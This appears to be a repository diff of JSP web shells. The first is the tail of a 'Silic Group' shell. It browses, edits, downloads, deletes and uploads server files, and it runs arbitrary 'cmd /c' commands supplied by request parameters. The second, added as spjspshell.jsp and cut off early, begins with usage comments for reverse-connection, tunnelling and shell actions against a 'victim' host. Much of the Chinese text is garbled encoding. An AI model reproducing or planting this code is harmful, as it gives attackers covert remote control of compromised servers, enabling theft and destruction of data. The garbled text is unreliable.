StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
|
||||||
|
File roots[]=File.listRoots();
|
||||||
|
for(int i=0;i<roots.length;i++)
|
||||||
|
{
|
||||||
|
sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
|
||||||
|
sb.append(roots[i]+"</a> ");
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
static String convertFileSize(long filesize)
|
||||||
|
{
|
||||||
|
String strUnit="Bytes";
|
||||||
|
String strAfterComma="";
|
||||||
|
int intDivisor=1;
|
||||||
|
if(filesize>=1024*1024)
|
||||||
|
{
|
||||||
|
strUnit = "MB";
|
||||||
|
intDivisor=1024*1024;
|
||||||
|
}
|
||||||
|
else if(filesize>=1024)
|
||||||
|
{
|
||||||
|
strUnit = "KB";
|
||||||
|
intDivisor=1024;
|
||||||
|
}
|
||||||
|
if(intDivisor==1) return filesize + " " + strUnit;
|
||||||
|
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
|
||||||
|
if(strAfterComma=="") strAfterComma=".0";
|
||||||
|
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
request.setCharacterEncoding("gb2312");
|
||||||
|
String tabID = request.getParameter("tabID");
|
||||||
|
String strDir = request.getParameter("path");
|
||||||
|
String strAction = request.getParameter("action");
|
||||||
|
String strFile = request.getParameter("file");
|
||||||
|
String strPath = strDir + "\\" + strFile;
|
||||||
|
String strCmd = request.getParameter("cmd");
|
||||||
|
StringBuffer sbEdit=new StringBuffer("");
|
||||||
|
StringBuffer sbDown=new StringBuffer("");
|
||||||
|
StringBuffer sbCopy=new StringBuffer("");
|
||||||
|
StringBuffer sbSaveCopy=new StringBuffer("");
|
||||||
|
StringBuffer sbNewFile=new StringBuffer("");
|
||||||
|
if((tabID==null) || tabID.equals(""))
|
||||||
|
{
|
||||||
|
tabID = "1";
|
||||||
|
}
|
||||||
|
if(strDir==null||strDir.length()<1)
|
||||||
|
{
|
||||||
|
strDir = request.getRealPath("/");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("down"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
if(f.length()==0)
|
||||||
|
{
|
||||||
|
sbDown.append("<22>ļ<EFBFBD><C4BC><EFBFBD>СΪ 0 <20>ֽڣ<D6BD><DAA3>Ͳ<EFBFBD><CDB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˰<EFBFBD>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
response.setHeader("content-type","text/html; charset=ISO-8859-1");
|
||||||
|
response.setContentType("APPLICATION/OCTET-STREAM");
|
||||||
|
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
|
||||||
|
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
|
||||||
|
out.clearBuffer();
|
||||||
|
int i;
|
||||||
|
while ((i=fileInputStream.read()) != -1)
|
||||||
|
{
|
||||||
|
out.write(i);
|
||||||
|
}
|
||||||
|
fileInputStream.close();
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("del"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
f.delete();
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("edit"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
|
||||||
|
sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=action value=save >\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||||
|
sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||||
|
sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
|
||||||
|
sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> "+strPath+"\r\n");
|
||||||
|
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
|
||||||
|
String line="";
|
||||||
|
while((line=br.readLine())!=null)
|
||||||
|
{
|
||||||
|
sbEdit.append(htmlEncode(line)+"\r\n");
|
||||||
|
}
|
||||||
|
sbEdit.append("</textarea>");
|
||||||
|
sbEdit.append("<input type=hidden name=path value="+strDir+">");
|
||||||
|
sbEdit.append("</form>");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("save"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
|
||||||
|
String strContent=request.getParameter("content");
|
||||||
|
bw.write(strContent);
|
||||||
|
bw.close();
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("copy"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||||
|
sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||||
|
sbCopy.append("ԭʼ<D4AD>ļ<EFBFBD><C4BC><EFBFBD> "+strPath+"<p>");
|
||||||
|
sbCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> <input type=text name=file2 size=40 value='"+strDir+"'><p>");
|
||||||
|
sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
|
||||||
|
sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p> \r\n");
|
||||||
|
sbCopy.append("</form>");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("savecopy"))
|
||||||
|
{
|
||||||
|
File f=new File(strPath);
|
||||||
|
String strDesFile=request.getParameter("file2");
|
||||||
|
if(strDesFile==null || strDesFile.equals(""))
|
||||||
|
{
|
||||||
|
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
File f_des=new File(strDesFile);
|
||||||
|
if(f_des.isFile())
|
||||||
|
{
|
||||||
|
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC>Ѵ<EFBFBD><D1B4><EFBFBD>,<2C><><EFBFBD>ܸ<EFBFBD><DCB8>ơ<EFBFBD></font>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String strTmpFile=strDesFile;
|
||||||
|
if(f_des.isDirectory())
|
||||||
|
{
|
||||||
|
if(!strDesFile.endsWith("\\"))
|
||||||
|
{
|
||||||
|
strDesFile=strDesFile+"\\";
|
||||||
|
}
|
||||||
|
strTmpFile=strDesFile+"cqq_"+strFile;
|
||||||
|
}
|
||||||
|
File f_des_copy=new File(strTmpFile);
|
||||||
|
FileInputStream in1=new FileInputStream(f);
|
||||||
|
FileOutputStream out1=new FileOutputStream(f_des_copy);
|
||||||
|
byte[] buffer=new byte[1024];
|
||||||
|
int c;
|
||||||
|
while((c=in1.read(buffer))!=-1)
|
||||||
|
{
|
||||||
|
out1.write(buffer,0,c);
|
||||||
|
}
|
||||||
|
in1.close();
|
||||||
|
out1.close();
|
||||||
|
sbSaveCopy.append("ԭʼ<D4AD>ļ<EFBFBD> <20><>"+strPath+"<p>");
|
||||||
|
sbSaveCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD> <20><>"+strTmpFile+"<p>");
|
||||||
|
sbSaveCopy.append("<font color=red><3E><><EFBFBD>Ƴɹ<C6B3><C9B9><EFBFBD></font>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=<3D><><EFBFBD><EFBFBD>>");
|
||||||
|
}
|
||||||
|
if(strAction!=null && strAction.equals("newFile"))
|
||||||
|
{
|
||||||
|
String strF=request.getParameter("fileName");
|
||||||
|
String strType1=request.getParameter("btnNewFile");
|
||||||
|
String strType2=request.getParameter("btnNewDir");
|
||||||
|
String strType="";
|
||||||
|
if(strType1==null)
|
||||||
|
{
|
||||||
|
strType="Dir";
|
||||||
|
}
|
||||||
|
else if(strType2==null)
|
||||||
|
{
|
||||||
|
strType="File";
|
||||||
|
}
|
||||||
|
if(!strType.equals("") && !(strF==null || strF.equals("")))
|
||||||
|
{
|
||||||
|
File f_new=new File(strF);
|
||||||
|
if(strType.equals("File") && !f_new.createNewFile())
|
||||||
|
sbNewFile.append(strF+" <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||||||
|
if(strType.equals("Dir") && !f_new.mkdirs())
|
||||||
|
sbNewFile.append(strF+" Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼ʧ<C2BC><CAA7></font>");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
|
||||||
|
{
|
||||||
|
String tempdir=".";
|
||||||
|
boolean error=false;
|
||||||
|
response.setContentType("text/html");
|
||||||
|
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼ʧ<C2BC><CAA7></font>");
|
||||||
|
HttpMultiPartParser parser = new HttpMultiPartParser();
|
||||||
|
int bstart = request.getContentType().lastIndexOf("oundary=");
|
||||||
|
String bound = request.getContentType().substring(bstart + 8);
|
||||||
|
int clength = request.getContentLength();
|
||||||
|
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
|
||||||
|
if (ht.get("cqqUploadFile") != null)
|
||||||
|
{
|
||||||
|
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
|
||||||
|
File f1 = fi.file;
|
||||||
|
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
|
||||||
|
if (info != null && info.aborted)
|
||||||
|
{
|
||||||
|
f1.delete();
|
||||||
|
request.setAttribute("error", "Upload aborted");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String path = (String) ht.get("path");
|
||||||
|
if(path!=null && !path.endsWith("\\"))
|
||||||
|
path = path + "\\";
|
||||||
|
if (!f1.renameTo(new File(path + f1.getName())))
|
||||||
|
{
|
||||||
|
request.setAttribute("error", "Cannot upload file.");
|
||||||
|
error = true;
|
||||||
|
f1.delete();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<html><head>
|
||||||
|
<style type="text/css">
|
||||||
|
td,select,input,body{font-size:9pt;}
|
||||||
|
A { TEXT-DECORATION: none }
|
||||||
|
#tablist{
|
||||||
|
padding: 5px 0;
|
||||||
|
margin-left: 0;
|
||||||
|
margin-bottom: 0;
|
||||||
|
margin-top: 0.1em;
|
||||||
|
font:9pt;
|
||||||
|
}
|
||||||
|
#tablist li{
|
||||||
|
list-style: none;
|
||||||
|
display: inline;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
#tablist li a{
|
||||||
|
padding: 3px 0.5em;
|
||||||
|
margin-left: 3px;
|
||||||
|
border: 1px solid ;
|
||||||
|
background: F6F6F6;
|
||||||
|
}
|
||||||
|
#tablist li a:link, #tablist li a:visited{
|
||||||
|
color: navy;
|
||||||
|
}
|
||||||
|
#tablist li a.current{
|
||||||
|
background: #EAEAFF;
|
||||||
|
}
|
||||||
|
#tabcontentcontainer{
|
||||||
|
width: 100%;
|
||||||
|
padding: 5px;
|
||||||
|
border: 1px solid black;
|
||||||
|
}
|
||||||
|
.tabcontent{
|
||||||
|
display:none;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script type="text/javascript">
|
||||||
|
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
|
||||||
|
function cascadedstyle(el, cssproperty, csspropertyNS){
|
||||||
|
if (el.currentStyle)
|
||||||
|
return el.currentStyle[cssproperty]
|
||||||
|
else if (window.getComputedStyle){
|
||||||
|
var elstyle=window.getComputedStyle(el, "")
|
||||||
|
return elstyle.getPropertyValue(csspropertyNS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var previoustab=""
|
||||||
|
function expandcontent(cid, aobject){
|
||||||
|
if (document.getElementById){
|
||||||
|
highlighttab(aobject)
|
||||||
|
if (previoustab!="")
|
||||||
|
document.getElementById(previoustab).style.display="none"
|
||||||
|
document.getElementById(cid).style.display="block"
|
||||||
|
previoustab=cid
|
||||||
|
if (aobject.blur)
|
||||||
|
aobject.blur()
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
else
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
function highlighttab(aobject){
|
||||||
|
if (typeof tabobjlinks=="undefined")
|
||||||
|
collecttablinks()
|
||||||
|
for (i=0; i<tabobjlinks.length; i++)
|
||||||
|
tabobjlinks[i].style.backgroundColor=initTabcolor
|
||||||
|
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
|
||||||
|
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
|
||||||
|
}
|
||||||
|
function collecttablinks(){
|
||||||
|
var tabobj=document.getElementById("tablist")
|
||||||
|
tabobjlinks=tabobj.getElementsByTagName("A")
|
||||||
|
}
|
||||||
|
function do_onload(){
|
||||||
|
collecttablinks()
|
||||||
|
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
|
||||||
|
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
|
||||||
|
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
|
||||||
|
}
|
||||||
|
if (window.addEventListener)
|
||||||
|
window.addEventListener("load", do_onload, false)
|
||||||
|
else if (window.attachEvent)
|
||||||
|
window.attachEvent("onload", do_onload)
|
||||||
|
else if (document.getElementById)
|
||||||
|
window.onload=do_onload
|
||||||
|
</script>
|
||||||
|
<script language="javascript">
|
||||||
|
function doForm(action,path,file,cmd,tab,content)
|
||||||
|
{
|
||||||
|
document.frmCqq.action.value=action;
|
||||||
|
document.frmCqq.path.value=path;
|
||||||
|
document.frmCqq.file.value=file;
|
||||||
|
document.frmCqq.cmd.value=cmd;
|
||||||
|
document.frmCqq.tabID.value=tab;
|
||||||
|
document.frmCqq.content.value=content;
|
||||||
|
if(action=="del")
|
||||||
|
{
|
||||||
|
if(confirm("ȷ<><C8B7>Ҫɾ<D2AA><C9BE><EFBFBD>ļ<EFBFBD> "+file+" <20><><EFBFBD><EFBFBD>"))
|
||||||
|
document.frmCqq.submit();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
document.frmCqq.submit();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<title>::Silic Group::</title>
|
||||||
|
<head>
|
||||||
|
<body>
|
||||||
|
<form name="frmCqq" method="post" action="">
|
||||||
|
<input type="hidden" name="action" value="">
|
||||||
|
<input type="hidden" name="path" value="">
|
||||||
|
<input type="hidden" name="file" value="">
|
||||||
|
<input type="hidden" name="cmd" value="">
|
||||||
|
<input type="hidden" name="tabID" value="2">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
</form>
|
||||||
|
<!--Top Menu Started-->
|
||||||
|
<ul id="tablist">
|
||||||
|
<li><a href="http://www.blackbap.com" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
|
||||||
|
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
|
||||||
|
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
|
||||||
|
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
|
||||||
|
<%=authorInfo[languageNo]%>
|
||||||
|
</ul>
|
||||||
|
<!--Top Menu End-->
|
||||||
|
<%
|
||||||
|
StringBuffer sbFolder=new StringBuffer("");
|
||||||
|
StringBuffer sbFile=new StringBuffer("");
|
||||||
|
try
|
||||||
|
{
|
||||||
|
File objFile = new File(strDir);
|
||||||
|
File list[] = objFile.listFiles();
|
||||||
|
if(objFile.getAbsolutePath().length()>3)
|
||||||
|
{
|
||||||
|
sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||||
|
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");
|
||||||
|
}
|
||||||
|
for(int i=0;i<list.length;i++)
|
||||||
|
{
|
||||||
|
if(list[i].isDirectory())
|
||||||
|
{
|
||||||
|
sbFolder.append("<tr><td > </td><td>");
|
||||||
|
sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||||
|
sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
String strLen="";
|
||||||
|
String strDT="";
|
||||||
|
long lFile=0;
|
||||||
|
lFile=list[i].length();
|
||||||
|
strLen = convertFileSize(lFile);
|
||||||
|
Date dt=new Date(list[i].lastModified());
|
||||||
|
strDT=dt.toLocaleString();
|
||||||
|
sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
|
||||||
|
sbFile.append(""+list[i].getName());
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
sbFile.append(""+strLen);
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
sbFile.append(""+strDT);
|
||||||
|
sbFile.append("</td><td>");
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileEdit[languageNo]+"</a> ");
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileDel[languageNo]+"</a> ");
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileDown[languageNo]+"</a> ");
|
||||||
|
sbFile.append(" <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||||
|
sbFile.append(strFileCopy[languageNo]+"</a> ");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch(Exception e)
|
||||||
|
{
|
||||||
|
out.println("<font color=red><3E><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD> "+e.toString()+"</font>");
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<DIV id="tabcontentcontainer">
|
||||||
|
<div id="menu3" class="tabcontent">
|
||||||
|
null
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="menu4" class="tabcontent">
|
||||||
|
<br><p>˵<><CBB5></p><p>Recoding by Juliet From:<a href="http://blackbap.org">Silic Group Inc.</a></p>
|
||||||
|
</div>
|
||||||
|
<div id="menu1" class="tabcontent">
|
||||||
|
<%
|
||||||
|
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+"<22><> <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
|
||||||
|
%>
|
||||||
|
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF"><tr><td width="25%" align="center" valign="top"><table width="98%" border="0" cellspacing="0" cellpadding="3"><%=sbFolder%></tr></table></td><td width="81%" align="left" valign="top">
|
||||||
|
<%
|
||||||
|
if(strAction!=null && strAction.equals("edit"))
|
||||||
|
{
|
||||||
|
out.println(sbEdit.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("copy"))
|
||||||
|
{
|
||||||
|
out.println(sbCopy.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("down"))
|
||||||
|
{
|
||||||
|
out.println(sbDown.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("savecopy"))
|
||||||
|
{
|
||||||
|
out.println(sbSaveCopy.toString());
|
||||||
|
}
|
||||||
|
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
|
||||||
|
{
|
||||||
|
out.println(sbNewFile.toString());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
%>
|
||||||
|
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
|
||||||
|
<tr bgcolor="#E7e7e6">
|
||||||
|
<td width="26%"><%=strFileName[languageNo]%></td>
|
||||||
|
<td width="19%"><%=strFileSize[languageNo]%></td>
|
||||||
|
<td width="29%"><%=strLastModified[languageNo]%></td>
|
||||||
|
<td width="26%"><%=strFileOperation[languageNo]%></td>
|
||||||
|
</tr>
|
||||||
|
<%=sbFile%>
|
||||||
|
</table></span>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
%></td></tr>
|
||||||
|
<form name="frmMake" action="" method="post">
|
||||||
|
<tr><td colspan=2 bgcolor=#FBFFC6>
|
||||||
|
<input type="hidden" name="action" value="newFile">
|
||||||
|
<input type="hidden" name="path" value="<%=strDir%>">
|
||||||
|
<input type="hidden" name="file" value="<%=strFile%>">
|
||||||
|
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||||
|
<input type="hidden" name="tabID" value="1">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
<%
|
||||||
|
if(!strDir.endsWith("\\"))
|
||||||
|
strDir = strDir + "\\";
|
||||||
|
%>
|
||||||
|
<input type="text" name="fileName" size=36 value="<%=strDir%>">
|
||||||
|
<input type="submit" name="btnNewFile" value="<22>½<EFBFBD><C2BD>ļ<EFBFBD>" onclick="frmMake.submit()" >
|
||||||
|
<input type="submit" name="btnNewDir" value="<22>½<EFBFBD>Ŀ¼" onclick="frmMake.submit()" >
|
||||||
|
</form>
|
||||||
|
<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
|
||||||
|
<input type="hidden" name="action" value="upload">
|
||||||
|
<input type="hidden" name="path" value="<%=strDir%>">
|
||||||
|
<input type="hidden" name="file" value="<%=strFile%>">
|
||||||
|
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||||
|
<input type="hidden" name="tabID" value="1">
|
||||||
|
<input type="hidden" name="content" value="">
|
||||||
|
<input type="file" name="cqqUploadFile" size="36">
|
||||||
|
<input type="submit" name="submit" value="<22>ϴ<EFBFBD>">
|
||||||
|
</td></tr></form>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
<div id="menu2" class="tabcontent">
|
||||||
|
|
||||||
|
<%
|
||||||
|
String line="";
|
||||||
|
StringBuffer sbCmd=new StringBuffer("");
|
||||||
|
|
||||||
|
if(strCmd!=null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
//out.println(strCmd);
|
||||||
|
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
|
||||||
|
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
|
||||||
|
while((line=br.readLine())!=null)
|
||||||
|
{
|
||||||
|
sbCmd.append(line+"\r\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch(Exception e)
|
||||||
|
{
|
||||||
|
System.out.println(e.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
strCmd = "set";
|
||||||
|
}
|
||||||
|
|
||||||
|
%>
|
||||||
|
<form name="cmd" action="" method="post">
|
||||||
|
|
||||||
|
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
|
||||||
|
<input type="hidden" name="tabID" value="2">
|
||||||
|
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
|
||||||
|
</form>
|
||||||
|
<%
|
||||||
|
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
|
||||||
|
{
|
||||||
|
%>
|
||||||
|
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
|
||||||
|
<br>
|
||||||
|
<%
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
</DIV></div>
|
||||||
|
<center>All Rights Reserved, <a href="http://blackbap.org" target="_blank">blackbap.org</a> © Silic Group Inc.</center>
|
||||||
814
jsp/spjspshell.jsp
Normal file
814
jsp/spjspshell.jsp
Normal file
@@ -0,0 +1,814 @@
|
|||||||
|
<%
|
||||||
|
/*
|
||||||
|
* WEBSHELL.JSP
|
||||||
|
*
|
||||||
|
* Author: lovehacker
|
||||||
|
* E-mail: wangyun188@hotmail.com
|
||||||
|
*
|
||||||
|
* ʹ<>÷<EFBFBD><C3B7><EFBFBD>:
|
||||||
|
* ]http://victim/webshell.jsp?[options]
|
||||||
|
* options:
|
||||||
|
* action=piped&remoteHost=&remotePort=&myIp=&myPort=
|
||||||
|
* action=tunnel&remoteHost=&remotePort=&myPort=
|
||||||
|
* action=login&username=&password=&myPort=
|
||||||
|
* action=send&myShell=&myPort=&cmd=
|
||||||
|
* action=close&myPort=
|
||||||
|
* action=shell&cmd=
|
||||||
|
* <20><><EFBFBD>ӣ<EFBFBD>
|
||||||
|
* action=piped&remoteHost=192.168.0.1&remotePort=25&myIp=218.0.0.1&myPort=12345 -- <20><>192.168.0.1<EFBFBD><EFBFBD>25<EFBFBD>˿<EFBFBD><EFBFBD><EFBFBD>218.0.0.1<EFBFBD><EFBFBD>12345<EFBFBD>˿<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>NC<EFBFBD><EFBFBD><EFBFBD><EFBFBD>12345<EFBFBD>˿ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѿ<EFBFBD><EFBFBD>Ƶ<EFBFBD>WEB<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD>˿ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD>˸<EFBFBD>WEB<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӡ<EFBFBD>
|
||||||
|
* action=tunnel&remoteHost=192.168.0.1&remotePort=23&myPort=65534 -- ʵ<><CAB5>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD><EFBFBD>ʸ<EFBFBD>webshell.jsp<73><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD><EFBFBD>telnet<65><74><EFBFBD><EFBFBD><EFBFBD>Ĺ<EFBFBD><C4B9>ܡ<EFBFBD><DCA1><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>webshell.jspʵ<70>ֶ<EFBFBD><D6B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵĹ<CAB5><C4B9>ܣ<EFBFBD><DCA3><EFBFBD>jsp<73><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƵĻ<C6B5><C4BB><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD